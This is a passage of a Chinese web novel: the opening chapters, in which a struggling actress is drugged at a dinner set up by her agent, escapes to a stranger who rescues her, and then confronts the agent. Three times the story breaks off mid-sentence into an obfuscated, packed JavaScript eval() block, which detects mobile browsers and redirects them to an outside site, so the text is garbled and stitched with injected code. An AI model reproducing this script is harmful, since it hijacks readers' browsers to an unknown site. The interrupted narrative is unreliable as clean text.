《横刀夺我》 1. 遇(1) 《横刀夺我》 也听春和 2024/12/7 晋江文学城 “爱你出自本能,我无法与之对抗。” 记。 - 云城今年的夏季一如既往的干燥难耐,晌午噼里啪啦下了一场暴雨,可那绵密的雨珠并未在冒着暑气的地表停留太久,只打个盹儿的功夫,这场雨留下的痕迹便随同微风一齐消散在烈日底下,走得悄无声息,好似从未来过。 然而无论天气多么极端恶劣,都无法拦截人们上班的匆匆脚步。 祝诗意正是在这样一个冒着红温的三伏天结束了当日的拍摄。剧组收工时已是黄昏,但傍晚的太阳瞧上去根本没有歇停的打算,那颜色比正午的骄阳更深了些,像是烤箱里熟透了的橘子。而笼罩在工作人员身上的便是橘皮开裂之后流出来的汁,教人感觉又黏又腻。 “诗意,待会儿你留一下。” 一个身材稍显丰腴的女人叫住了正在收拾东西的祝诗意。 “芳姐,今天的工作不是都结束了吗?导演说我们都可以收工下班了。” 祝诗意才将最后的水杯装进自己的托特包,她动作顿了一下,抬头问道。 祝诗意是一位名不见经传的十八线女明星,三年前她十八岁,出于一些原因和昔音娱乐签订了为期五年的艺人合约,从此只身进入娱乐圈闯荡。不过祝诗意并非昔音娱乐舍得砸钱砸资源力捧的对象,这几年来,昔音娱乐只肯施舍一些跑龙套的女配角色给祝诗意,祝诗意在艺人如云的娱乐圈实在没什么名气,称她为“女明星”都算是抬举。 方才说话的人是祝诗意的经纪人:舒雅芳。 舒雅芳手底下不止祝诗意一个艺人,甚至大多数时候,舒雅芳都想不起来祝诗意渺小的存在。 除非—— “你上次不是说对《明明如月》的剧本感兴趣?正好这部戏的导演看过你演戏的几个片段,李导觉得你的形象气质挺适合《明明如月》的女二号许月白,我帮你牵了个线,我们晚上去和导演吃个饭。” 舒雅芳露出标志性的微笑,她拎起包,走上前来拍拍祝诗意的肩膀。只是舒雅芳公事公办的口吻听上去不像是询问祝诗意的意见,倒像是通知祝诗意今晚有场饭局,而她必须参加。 祝诗意愣了一下,她反问:“当真?但是芳姐,我记得好几个人都在盯着《明明如月》剧组吧,李导的戏,哪怕是女二号那也是香饽饽,哪里轮得到我?” 舒雅芳面不改色,“祝诗意,你觉得我会骗你?再怎么说我也是昔音娱乐的王牌经纪人之一,这点人脉我还是有的。” “芳姐,我不是这个意思……” 祝诗意还想再解释点什么,却被舒雅芳不情不愿地打断:“诗意,别忘了你和公司签的合约内容。” “行吧芳姐,那我给家里打个电话说一声。” 祝诗意撇撇眉毛,这几年来但凡她表现出一丁点不顺从,舒雅芳便会拿经纪合约里面的条款说事,偏偏祝诗意还没法子反驳,只能听从公司安排,照合同工作。 她走到一旁,人稍微少点的地方,点开通讯录那一栏第一位联系人,拨出去。 电话很快就被接起,“喂,小意啊,下班了没有?” “爸,我今天晚上还有点工作,可能得晚点回去了。你和哥不用等我,等我哥下班回家,你们先吃吧。” “不是说好今天回家吃饭,怎么突然又有工作了?要忙到几点啊?需不需要让你哥去接你?” “不用了爸,我也不知道会忙到几点,看情况吧,先不麻烦我哥了,到时候实在不行再让他来接我。” “行,爸知道了,那你自己注意安全。” 祝诗意和家人打过招呼,她重新挎起包,回到舒雅芳面前,说:“走吧,芳姐。” 舒雅芳上下打量了眼灰头土脸的祝诗意,眼里划过一丝不易察觉的嫌弃,她皱着眉,手指向剧组的化妆间:“你去收拾一下,给你准备的衣服就放在里面。” 祝诗意看向自己的白T恤牛仔裤,以及为了图舒适常穿的米白色帆布鞋,她耸耸肩,满不在乎地说:“芳姐,不就是吃个饭……” 舒雅芳似是料到祝诗意会说什么,她截住祝诗意的话头,不由分说地下达命令:“叫你换衣服就换,哪儿来那么多话。” “行吧。” 尽管舒雅芳待她的态度肉眼可见非常不好,但祝诗意并没有放在心上,或者说类似的场景在娱乐圈这个大染缸只能说是司空见惯,更过分的情况也不是没有。 她祝诗意一不是昔音娱乐的摇钱树,二不像某些富二代能随时随刻带资进组,既然无法给公司和经纪人带来可观的利润,那她待遇如此也怨不得谁。 祝诗意走进化妆间,果真见舒雅芳所说的位置挂着一条酒红色高开叉长裙,修身款。 她从人形立台取下这条裙子,来到演员们换衣服的隔间。在换上这条裙子之前,祝诗意先仔仔细细检查了一遍小隔间里是否藏着某些腌臜的东西,任何一个有可能贴隐藏摄像头的角落她都没有放过。检查完毕,祝诗意才挂上隔间的门锁,换上这条舒雅芳为今晚准备的红裙子。 祝诗意今天出演的是剧中一名胸大无脑的富二代千金女N号,戏收了工,但祝诗意脸上的妆依然完整,且恰好和这条明艳的裙子相衬,只需再稍稍补一点底妆和口红即可。 做完这些,祝诗意望着化妆镜中的自己微微出神。 三年前,尚且十八岁的她刚考上景山电影学院没多久,哥哥祝攸意外出了车祸,不及时治疗便会高位截瘫。以家里原本的财力,拿出这笔手术费本不在话下。奈何祸不单行,祝诗意家里的公司资金链忽然断裂,她的父亲祝明很信任的一位得力干将连夜卷款潜逃,连家里的保险箱都被他撬空了。 倘若公司径直宣布破产,祝明变卖一部分不动产,那倒也能凑齐手术费,可这其中需要走的流程会耗费很长时间,医生表示祝攸等不了那么久。 恰逢此时,时不时会到景山电影学院挖好苗子的星探,也就是昔音娱乐的人看上了祝诗意这张格外出挑的脸。 祝诗意至今记得,那是一个很冷的冬天,那年云城的第一场雪来得格外早。她身穿黑色的及膝长款羽绒服,裹了一条毛线围巾,顶着一张素面朝天却不失惊艳的脸,跟随昔音娱乐的那名星探来到校门口一家连锁咖啡馆。 “如果你说的六十万三天之内能打到我卡上,我就和你签这份合同。” 当时的祝诗意什么都不懂,唯一双清澈的眼警惕而倔强。 “用不了三天,”星探笑了笑,他翘着二郎腿,把手机推到祝诗意眼皮底下来。 手机屏幕上赫然是正在进行的转账界面,星探似乎在明晃晃地告诉她:只要她在合同签下名字,这笔钱就会立刻到账。 “好,我签。” 祝诗意咬咬牙,她不再犹豫,将大名写在落款处。演戏本就是祝诗意从小向往的梦想,只不过她以前从未想过,自己的梦想会以这样一种迫不及待的方式赶鸭子上架。 总归——哥哥比梦想重要。 交易终归是值得的。 “祝同学痛快。” 星探满意地收回合同,并轻点转账按钮。祝诗意揣在兜里的手机登时传来一阵震动,她点开最新的未读短信,果真是六十万的到账提醒。 祝诗意脸上露出难以抑制的喜色:哥哥的腿有救了。 昔音娱乐的星探眯了眯眼睛,他微微弯腰,向祝诗意伸出手:“合作愉快,祝小姐。” “谢谢,但是我还有急事,先不和您多说了。您有事给我发微信就行。” 不等星探回答,祝诗意匆匆忙忙跑出咖啡馆。云城夜里的风雪丝毫不讲道理,凛冬的风刮起来像刀子一样一道一道划开脸颊,冰凉的雪纷纷扬扬落在祝诗意的头发上,但她浑然不觉,只怀着一颗被焐热的心迎着风雪跑去。 一眨眼三年过去了。 “祝诗意,你在里面磨蹭什么呢?” 舒雅芳左等右等不见祝诗意出来,以为祝诗意临时反悔,她推开门,却见祝诗意正在对着镜子不慌不忙地戴耳环。 “不好意思芳姐,刚我东西找不到了,所以耽搁了一会儿。现在好了,可以走了。” 祝诗意转过身,略显抱歉地对舒雅芳说。 舒雅芳憋在心头的火气在见到祝诗意的一刹那熄了个干净。尽管舒雅芳的“摇钱树”另有其人,尽管舒雅芳并不待见祝诗意且对她颇有微词,舒雅芳也不得不承认祝诗意生得极美。明眸皓齿,玉貌花容,一双眼灵动的像是会说话,又像是盛了瑶池的泉水,水润无比。 不仅如此,祝诗意的身材也称得上一句魔鬼,该丰满的丰满,该纤细的纤细,浑身上下竟没有一丁点多余的赘肉,这条修身长裙穿在祝诗意身上更是放大了她每一处优点。 她瞧上去是天生的女明星。 舒雅芳盯着祝诗意的时间久了些,祝诗意忍不住晃了晃手中的包,提醒舒雅芳,“芳姐?不是说要走了么?” “走吧,再不走要迟到了。” 舒雅芳回过神来,意识到自己的失态,她的态度又恢复成冷冰冰的模样,走在祝诗意前面。 公司并未给祝诗意配她专属的保姆车,以她目前的地位还不足以拥有这样的待遇。今晚这辆车是舒雅芳临时调派来的,她和祝诗意一齐坐在后座,一路上都在叮嘱祝诗意待会儿要注意什么。 祝诗意并未把舒雅芳的告诫放在心上,她也不认为自己当真能得到李导的青睐,只当是为了完成公司的任务,来走个过场罢了。 保姆车在富丽堂皇的景山大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606418|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒店门前停下。 正门口已经停了一辆车,并且还是看起来就高调奢靡的库里南。这辆车许是前脚刚到不久,只见带着手套的酒店管理殷勤地凑上来,他弯下腰,拉开库里南后座车门。 从后座下来一位身形挺拔的男人,但酒店的侍应生挡住了祝诗意的视线,以至于祝诗意并不能看到男人的脸。男人穿着黑色的西装,迈着长腿向里面走去。根据祝诗意的判断,他期间应当还屈指扶了下眼镜,当然,也可能是仅用作装饰的墨镜。 景山大酒店可不乏名流贵族和名气大的明星吃饭,他们出门的时候,保镖墨镜都是标配。 “李导他们在302包厢,我们现在上去。” 舒雅芳打完电话,说。 “嗯。” 祝诗意上了楼,走进302包厢之前,她方才在楼下看到的那个气质不凡的男人恰巧迈入了她隔壁的304包厢。祝诗意收回视线,她敛去情绪,跟在舒雅芳后面进入302。 “哎呀李导,真的是好久不见。” 舒雅芳一进来便寒暄起来。 祝诗意瞧见包厢内的景象,她的心猛烈地跳动了一下,眉毛稍稍颤了颤。她原以为顶多是和李导以及制片人简单地吃个饭,可眼下包厢内坐着的人数远比祝诗意想象中多得多,并且除去李导,剩下的人她一个都不认识。 “芳姐,不是说……” 祝诗意的直觉向她发出警告,或许她不能就这么坐下来,她想。 觉察到祝诗意的犹豫,舒雅芳和李导打完招呼以后,她立即折回来,将祝诗意往里面推了推,并示意侍应生关门。 舒雅芳不打算给祝诗意离开的机会。 她挽着祝诗意的胳膊,手上却微微用了些力道,笑着对早已入座的几位中年男性说道:“李导,这是我们之前在电话里提到的祝诗意,您叫她诗意就行,您之前还夸过诗意有灵气呢。” “诗意啊,来,这边坐。” 李导向祝诗意发出邀请,他笑的时候油光满面,脸上的褶子堆在一起像铁锅里冒着热气的浮油肉渣。 “李导您客气了,还是叫我名字吧,或者叫小祝也行。” 祝诗意被舒雅芳不由分说摁在李导旁边的位置,她僵着肩膀,手放进包里握住手机。要是待会儿有情况,她还可以第一时间拨通紧急联系人的电话求救。 舒雅芳时刻关注着祝诗意的动向,她见祝诗意浑身上下写满了防备,生怕祝诗意惹得在场诸位不痛快,于是她走过来,拍拍祝诗意的肩膀,趁祝诗意不备,拿走了她的包。 “芳姐!你!” “腾”地一下,祝诗意打算起身,她瞪着舒雅芳。舒雅芳像是没事人一般,朝祝诗意温和地笑笑,“诗意啊,我们今天来晚了,还不快主动给李导敬酒赔罪?” 舒雅芳弯下腰,用只有她和祝诗意能听到的声音警告:“在这儿的可都是业内知名投资人,这是你唯一的机会,祝诗意,你别想给我搞什么幺蛾子,否则违约金少不了你赔的。” 说罢,舒雅芳将酒杯塞进祝诗意掌心,赔笑,“我们诗意年纪还小,礼节方面是欠缺了些,各位别往心里去,她这就自罚一杯。” 祝诗意深吸一口气,有那么一瞬间她只想破罐子破摔一走了之。然而她又想到了哥哥,想到辛辛苦苦把他们拉扯大的父亲,祝诗意到底还是忍了。 她端着酒杯,平复了下激烈起伏的心情,扯出一个勉强还能看的笑容,说:“我敬大家一杯。” 祝诗意并未留意到,就在她仰着脖颈喝下这杯辛辣的液体时,舒雅芳与李导迅速交换了一个意味深长的眼神。 “来来来,都别干坐着了,大家都吃饭吧。” 见祝诗意非常上道地干了酒,李导亦坐下来,脸上再度堆起层层叠叠的笑容,招呼在座各位用餐。 觥筹交错间,祝诗意觉着自己的脑袋愈来愈疼,眼皮越发沉重无力。起初她还以为酒的度数太高,她有些晕了,可当她皮肤的温度也跟着逐渐攀升,而李导与制片人猥琐的笑脸骤然放大时,祝诗意才猛然惊醒:她中局了。 “砰”地一下,祝诗意扫落桌上的玻璃杯,她站起来,用尽浑身力气往外面逃。 “快给我拦住她!” 李导气急败坏地下令。 祝诗意挣脱开舒雅芳的手,用力将舒雅芳甩在地上,她打开包厢门,跌跌撞撞跑出去。 景山大酒店一层楼统共就四个包厢,金碧辉煌的长廊内安静而空旷,电梯在长廊两端,祝诗意从未感到几十米的距离竟有这么遥远。 舒雅芳她们就在身后穷追不舍,祝诗意穿着长裙和高跟鞋,又中了药,她根本跑不过这群人。更何况等电梯又是另外的时间,祝诗意瞥见304包厢半掩的门缝,想起晚上看到的那个男人,她咬咬牙,心一横,闯了进去。 2. 遇(2) 祝诗意贸然闯进来,她关上门,身子抵在门背,大口大口地喘着气。 只是她没想到偌大的包厢内竟然只有一个人。 男人本来站在靠窗的位置抽烟,背影深沉而孤寂。听见动静,男人转过身,看到靠在门边的女孩,他摁灭指尖的香烟,眉头不悦地蹙起,冷冷开口:“出去。” 祝诗意不断地摇头,她跌坐在地毯上,头发散乱,毫无形象可言。 隔着这道厚重的门,祝诗意依旧能听到外面舒雅芳的声音,她们像是在商讨怎么把祝诗意弄出来。 男人盯着祝诗意,他走到祝诗意面前来,居高临下地看着她。见祝诗意还在摇头,谈惟瑾捏住祝诗意的下巴,将她的脸微微抬了起来。 “出去,别让我重复第三遍。” 谈惟瑾今夜在景山大酒店和老朋友叙旧,期间老朋友接了个电话提前离开了,谈惟瑾打算抽完这支烟也回去,不曾想包厢内闯入一个大胆的不速之客。 谈惟瑾只当是圈子里哪个不长眼的打听到他动向,特地为他安排了一场戏,谈惟瑾生平最厌恶旁人在他面前耍手段。 尽管此时的祝诗意看起来的确柔弱可怜,但谈惟瑾并不是一个懂得怜香惜玉的男人。 舒雅芳已然在敲门了,“诗意,你东西还在我这儿呢,你可别忘了你都答应过我什么。” 祝诗意颤抖不止,她的手机和钥匙都被舒雅芳拿走了,想打电话求救都没办法。无奈之下,祝诗意只好拽住男人的衣角,仰头乞求他:“救救我,求您了。” 谈惟瑾神色微动。 很明显他也听到了门外的动静。 祝诗意并没有像别的女人那般一上来就喊他“谈先生”“谈总”……或许,她真的不认识他? 谈惟瑾抬手扶了下架在鼻梁上的金丝眼镜,锐利的眼重新审视起祝诗意,他凝视着祝诗意潮红的脸,联想到外面的人,谈惟瑾很快便意识过来什么。 他打了个电话。 “包厢外的人清理了。” “是。” 这通电话打出去前后不到五分钟的时间,304包厢门外荡然一空,静悄悄的,又恢复了它本该有的宁静。 祝诗意长长地松了口气,她瘫倒在地,像是被人抽去了浑身的骨头。 “谢,谢谢您……” 但药效暂时没办法清除,祝诗意只好咬破自己的舌尖,让猩红的液体润湿她干燥的嘴唇,以此勉强维持神智。 “先生,可以借你的手机用一下吗?我的东西……都被拿走了。” 好事做到底,送佛送到西,谈惟瑾眉毛微挑,将手机递了出去。 祝诗意双手接过手机,她感激地朝谈惟瑾点头,拨出那个烂熟于心的号码。 彼时的祝攸还在公司办公室处理工作,因为妹妹说临时有安排,要晚点到家,祝攸也就不急着回去了。 手机震动响起,来电人显示是个陌生号码,祝攸瞥了一眼,到底还是接起了。 “你好。” “哥……我在景山大酒店304包厢,我想回家……” 祝诗意夹杂着哭腔和颤意的声音从听筒那端传来,听得祝攸心头一揪,他忙道:“小意你等等我,我马上来。” “嗯……哥,我借的别人手机,不方便说话,你过来就好了。不过你放心我没事,哥你路上开车小心点。” 祝诗意挂断电话,她勉强支撑着自己站起来,把手机还给谈惟瑾,整个过程不超过三分钟。 “先生,刚才谢谢您。” “嗯。” 谈惟瑾只淡淡地应了声,并不多言。他单手斜插在西装口袋,看着祝诗意走到桌子旁边,她竟拿起桌面上那瓶没喝完的红酒,握着酒瓶将剩下的酒都浇在自己身上,红酒自头顶浇灌,漫过她半身。 谈惟瑾轻哂,倒是个有意思的姑娘。 脑袋被淋透,祝诗意头脑清醒了一些。她原想砸碎了酒瓶,往胳膊上滑两刀的,考虑到之后还要出镜,祝诗意放弃了这个办法。 她起先以为今晚赴宴,最糟糕的情况也就是陪那几个中年发福的糟老头子多喝两杯酒,但她无论如何都没料到舒雅芳居然会联合李导那些人意图对她用强的。 她到底是低估了舒雅芳的野心和恶毒。 祝诗意坐在椅子上,她蜷起腿,抱着膝盖,下巴搁上去,眼泪静静地往下流。 而这一切都被谈惟瑾默不作声地看在眼里。 祝诗意也知道,包厢里只有谈惟瑾和她两个人,他刚刚救了她。或许她应当凑上去和谈惟瑾寒暄几句,应当好好和他说声谢谢,但是祝诗意实在打不起精神,仅仅是和在脑袋里作祟的药物做对抗,就已经花费了祝诗意大半力气。 “这位先生,方便告诉我你的名字和联系方式吗?非常感谢您出手相助,有机会的话我想请您吃饭。” 祝诗意抬起那张巴掌大的精致小脸,她此刻头发虽散乱了些,口红也掉的差不多了,出于恐惧,原本潮红的脸色转为了墙皮般的煞白,然此类种种仍旧无法掩饰祝诗意的美貌,并且让她看上去更加楚楚可怜。 “不必。” “好,那我就不多打扰了,总之谢谢您。” 祝诗意在娱乐圈待了几年,也跟着兄长出席过几次上流社会的社交场合,她估摸着面前的这个男人恐怕来头不小,不是好惹的主,否则不会一个命令就能在几分钟内赶走舒雅芳那群人。 这里是景山大酒店,云城背景最硬的酒店之一。 包厢内短暂的寂静没有持续多久,便被一阵急促的拍门声打断。 “小意你在里面吗?小意!” 侍应生为祝攸打开包厢门,祝攸一眼便瞧见在椅子上缩成一团的自家妹妹。祝攸大步跑过来,脱下西装盖在祝诗意肩膀,他蹲下来,心疼地捧起祝诗意的脸,问:“不是说公司临时给你安排工作,怎么把自己搞成这样了?” “呜……” 祝攸来了,祝诗意再忍不住内心滔天的委屈,她扑进祝攸怀中,泪如雨下,“哥,我想回家,我们回家吧呜……” “好好好,哥带你回家。” 祝攸摸摸祝诗意的头发,将她扶起来,路过谈惟瑾时,祝攸手臂青筋暴起,眸中怒火怎么藏也藏不住。 祝诗意生怕哥哥误会,她忙按住祝攸蠢蠢欲动的拳头,解释,“哥,跟这位先生没有关系,是这位先生救了我。” “……多谢这位先生,不知先生尊姓大名?” 祝攸握起的拳头立刻松了开来。 谈惟瑾抬眼打量着这对兄妹,他薄唇微启,低沉的声音里不带任何情感,“举手之劳。” 仍旧答非所问。 祝诗意扯了扯祝攸的衬衫衣摆,小声说,“哥,这位先生好像不是一般人。他可能不太想让我们知道他是谁,我们还是走吧。” “嗯,好。” 既如此,以后要还是有机会见面,到那时再向他道谢吧。 只不过祝攸莫名觉着这个男人有些眼熟,仿佛在哪里见过。 祝攸未能认出谈惟瑾,谈惟瑾却认出了祝攸。 钟意科技创始人兼总裁,近两年来云城风头最盛的几位商业新星之一,他的妹妹,竟也会被人逼到这种地步? 谈惟瑾将西装外套搭在背上,他走出景山大酒店,坐上那辆在门口等候许久的库里南,随夜色离去。 - 祝诗意回到家里,她先上楼洗了个澡,换了身干净的家居服,把头发吹干,才又回到客厅,坐在沙发上接受祝明与祝攸的“审问”。 祝诗意靠在祝攸肩头,平静地讲述着今晚发生的事情。 期间祝攸给她倒了杯水,润润嗓子。 祝诗意将事情的来龙去脉说清楚,祝明怒喝一声:“岂有此理!什么经纪人,什么导演,我看就是一帮狼心狗肺蛇鼠一窝的混蛋。” 祝攸后槽牙咬得直响,若非那个男人伸手帮了妹妹一把,还指不定会发生什么事情。 “小意啊……这个娱乐圈咱们是非进不可吗?或者咱们换家公司打工,行不行?” 老父亲祝明并不懂得娱乐圈的弯弯绕绕,只听人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606419|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过其中水很深,有些人肮脏如泥潭中的臭鱼烂虾,今夜发生了这样的事情,祝明才对“水很深”三个字真正有了实感,他实在不忍心再让女儿受这些委屈。 “小意,要不然这样,你和现在这家公司解约,要是还想继续演戏,咱们就换一家公司,违约金哥来付,怎么样?” 祝攸摸摸祝诗意的脑袋,口吻温和。 祝诗意鼻尖一酸,父亲与兄长均不知晓她当年为了给哥哥凑手术费而签下那份丝毫不对等合同的事情。那时祝诗意一下子拿出了六十万,祝明都被她吓了一大跳。 “小意,你哪儿来这么多钱?” “爸,这都是我攒的。你和哥之前给我的零花钱我没全花,攒了一部分,我还卖了包和首饰,又找书简借了二十万,这不就够了。哎呀爸,我们快别耽误时间了,赶紧去交手术费吧。” 祝诗意从小乖巧懂事,她这么说,祝明不疑有他。 好在祝攸的手术极为成功,术后恢复得也很顺利,没有留下任何隐患和后遗症。祝攸从父亲那儿听说了妹妹凑钱的事情,心疼不已。兄妹两个从小感情就很好,家里出事之前,祝诗意都是被他们当成公主捧在掌心,她过惯了养尊处优的日子。 一想到妹妹把值钱的包和首饰都拿去变卖凑手术费,祝攸深感自责。 于是祝攸正式接管了家里的公司,哪怕公司这时不过是岌岌可危的空壳子,祝攸也有东山再起的决心和信心。公司重组,祝攸另起钟意科技,风里雨里一路走到现在,总算在云城站稳脚跟。 祝攸只想让妹妹继续做无忧无虑的大小姐,可忽然有一天祝诗意却说她找到了工作,已经签合同了。 祝诗意本就是景山电影学院的学生,进娱乐圈是早晚的事。 但是在祝攸的商业版图里,应当是他来投资一家娱乐公司,倾尽资源力捧祝诗意才对。 不曾想妹妹抢先一步搞定了工作。 祝攸没少在妹妹跟前上眼药,试图说服她和公司解约,哪怕祝诗意单干,祝攸也能帮衬到她。唯独祝诗意所在的昔音娱乐,祝攸和这家公司实在是没有一丁点业务往来,也就说不上话。 “呃,爸,哥……其实今天晚上的事情只是个例外,我们公司平常对我还是很好的。这纯粹是那个经纪人自己的问题,我会向公司反应这件事的。” 祝诗意勉强地笑笑,见祝明和祝攸同时板着一张严肃的脸,明显是不信她的说辞。祝诗意只好拿出她的毕生绝技,对着祝攸撒娇,“哥哥,你最喜欢我了,你肯定会尊重我意见的,对不对?” 祝攸抬手在祝诗意脑壳弹了一下,他认真地问:“小意,出了这种事,我不可能再坐视不管。你当初和昔音娱乐签的合同在身边吗?拿出来给哥看看。” 祝诗意头皮一紧,手臂的汗毛都立起来了。 她去年才和家里坦白自己签了经纪合约,在那之前都唬哥哥说是兼职和实习。若是给哥哥看了合同,岂不是全露馅了? “哥,真的不用你给我付违约金,我还是挺喜欢我现在这份儿工作的。”祝诗意抱住祝攸的肩膀,讨好地晃了晃,“我保证!以后绝对不会再发生类似的事情了,谁叫我去饭局我都不去!哎呀哥,求你了,我不想失业。” 祝攸最受不了妹妹撒娇,祝诗意一撒娇,祝攸就拿她没办法。哪怕偏过脑袋忍着不去看妹妹的眼睛,祝攸也能想象到妹妹这会儿的神情。 无奈之下,祝攸掐了一下祝诗意的脸蛋,告诫她,“不许听信陌生人的话,也不许随随便便跟不可信的人走,听见了吗?” 教训三岁小孩子一样的语气,他连句重话都舍不得说。 祝诗意小鸡啄米似的连连点头,“我保证!” “好了,我们吃饭吧,小意肯定饿了。” 老父亲及时出来打圆场。 祝诗意打过景山大酒店的前台电话,302包厢内并没有她遗落的东西,看起来都被舒雅芳拿走了。好在家中还有备用手机能用,可解燃眉之急。 “祝诗意,明天一大早你就给我滚回公司。” 3. 遇(3) 祝诗意在云城有一套自己的小房子,位置在交通发达的棠林苑,从棠林苑去公司或者机场都很方便,祝诗意一般都住在那里,她想家了才会回到父亲与兄长所住的溪语庭。 家里的司机赵叔开车送祝诗意去公司,祝诗意昨日受了惊吓,一整晚都没睡好,半夜醒了好几次,早上起来无精打采的,就这样顶着两个明显的黑眼圈上班。 车窗外街景一帧一帧向后倒退,祝诗意没来由想起304包厢内的另一个男人。 那个瞧上去就气质不凡的男人。 他的眉眼处均是成熟男性的沉稳持重,眉峰和眉骨稍稍有些凌厉,架在鼻梁的金丝镜令他本就清晰的下颌线显得更加刻薄。最让祝诗意印象深刻的,还是那个男人不怒自威的眼神。 当他靠近她的时候,祝诗意由内而外生出一股压迫感,甚至没有勇气同他直视。 娱乐圈铁定没有这号人,否则有关他的花边新闻必然会换着花样隔三差五霸占热搜头条。 或许是商界哪位大佬吧,否则他怎么会连名字都不愿意透露。 祝诗意觉得自己以后应当不会再和那个男人有交集,看样子她注定欠一个陌生的人情。只能平日里多做些好人好事,也当是为她和家人积累善缘。 “赵叔,我这两天不回家住,你晚上不用来接我。” “好的,小姐。” 祝诗意下车,她才走进公司大楼,便听见身旁的人讨论起来。 “快看,那是不是祝依然来了。” “那么漂亮,气质又好,肯定是我们依然呀。看样子今天是祝总亲自送祝依然上班,好羡慕。” “那肯定,人家祝依然可是名副其实的千金大小姐。不像有些人,有幸和大小姐一个姓,但只有一百八十线的糊人命。” 祝诗意顿觉无语。 昔音娱乐的艺人,只有她和祝依然两个人都姓祝。这群人怎么回事,要拍祝依然马屁就好好拍,莫名其妙拉踩她做什么? 祝诗意漠不关心地回头看去,祝依然正弯着腰和兰博基尼后座的男人打招呼,那恐怕就是她们口中的“祝总”。 一个个都说祝总是出了名的宠妹狂魔,可这几年来祝总从来都只是坐在车内和祝依然道别,从未真正送祝依然到公司里面。 祝诗意收回视线,顺道为方才嚼舌根的几位送去亲切的白眼,挎着包,头也不回地走了。 “嘁,神气什么,听说祝诗意昨天搞砸了一个很重要的饭局,把芳姐气得半死,芳姐叫她一大早就滚过来。” “就是,今天肯定没她好果子吃,我们就等着看她笑话吧。” 祝依然走进来,她自然听到了门口这几位在说什么,不过她仅仅是掀了掀眼皮,嘴角勾起一丝轻蔑的弧度,并未有其它表现。 祝诗意是娱乐圈一名连十八线都够不上的透明女演员,祝依然是坐拥八百多万微博粉丝,当下最有流量的新生代人气小花。无论是知名度、家世背景抑或是别的什么,祝诗意看上去与祝依然都相去甚远,祝依然本不需要把祝诗意放在眼里。 但不知为何,祝依然总会控制不住地去打听和祝诗意有关的事情,并且暗暗和她作比较。 据闻祝诗意家里没什么钱,又是单亲家庭,没人脉没资源,更没有人愿意捧。眼下又听到她们说祝诗意搞砸了合作即将倒大霉,祝依然在休假期间来公司的心情都松快不少。 坐在兰博基尼后座的祝方砚目送祝依然进入公司,正当他准备吩咐司机开车时,却透过窗明几净的落地玻璃看到了祝诗意的脸。 那一瞬间,祝方砚的目光滞了一下。 他微微眯起眼睛,凝神静气,可祝诗意走得快,只一眨眼的功夫祝诗意就消失了。 “祝总,请问您是直接去公司吗?” 祝方砚未曾说话,驾驶位上的小助理只好壮着胆子又问了一遍。 “嗯。” 祝方砚收回视线,淡淡开口,好似刚才的错乱只是小助理臆想中的插曲。 - “祝诗意!你干的好事!” 祝诗意一进办公室,一沓纷乱的纸朝她进门的方向用力丢过来。祝诗意眼皮子跳了跳,她侧身轻巧躲过砸过来的文件夹,顺手将办公室的门关上了。 办公室玻璃是透明的,谁要是想围观吵架现场那就在外面围观吧。 “芳姐,”祝诗意靠在办公桌上,皮笑肉不笑,她娓娓说道,“昨天傍晚你在片场说的可是只需要跟李导吃个饭,试探一下李导有没有合作意向。你可没说吃个饭还要被下药,吃个饭还要被潜规则吧。” “我们两个究竟谁不占理?” “你!” 舒雅芳气急,指着鼻子骂祝诗意,“你怎么这么不知好歹?你自己几斤几两心里没点数吗?在圈子里这么久了连部像样的代表作都拿不出来。你要是真能凭借自己的本事拿到角色,至于混到现在微博还只有二十万粉丝?我告诉你祝诗意,都到这份上了,李导和制片人能看上你那是你的福气,你少给我装清高。” “我为什么拿不出一部代表作,芳姐难道不是比我更清楚?” 祝诗意换了个姿势倚着桌子边沿,似笑非笑。 当初挖掘她的那个星探很早就从昔音娱乐离职了,从那之后都是舒雅芳带祝诗意。奈何冤家路窄,云城祝家的千金大小姐祝依然也是舒雅芳的艺人,好巧不巧祝诗意和祝依然的合约几乎是同一时间转移到舒雅芳手上。一个是名门望族,家世背景雄厚的千金大小姐,一个是没名没姓,单亲家庭,几乎一点助力都没有的普通女孩,傻子都知道应该捧谁。 这些年来舒雅芳手中的顶级资源基本上都给了祝依然,祝诗意从来都只有在戏中给人镶边的份儿。祝诗意演过戏份最多的角色是一部网剧的女二号,然而那部剧的剧组经费紧缺,又要可着劲儿抬男女主,祝诗意作为无足轻重的女二,两套服装贯穿整部剧的始终,甚至就连饰品祝诗意都用的自己的。 三年过去了,舒雅芳竟然还好意思指责她没有代表作? 祝诗意险些被舒雅芳的无耻言论气笑。 舒雅芳把祝诗意的包丢在桌面,她死死地盯着祝诗意,语气中满是不耐烦,“你别跟我扯这么多,你自己闯的祸还得我收拾烂摊子。我已经和李导解释过了,这周末你和我一起去给李导上门赔罪,祝诗意,这可是你最后的机会,你最好给我识相点。” “啧。” 祝诗意笑了,像是听见了什么天大的笑话似的,她说,“芳姐,你不会真的以为我傻吧?我要是愿意那么做,那我昨晚还跑什么?束手就擒不就得了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 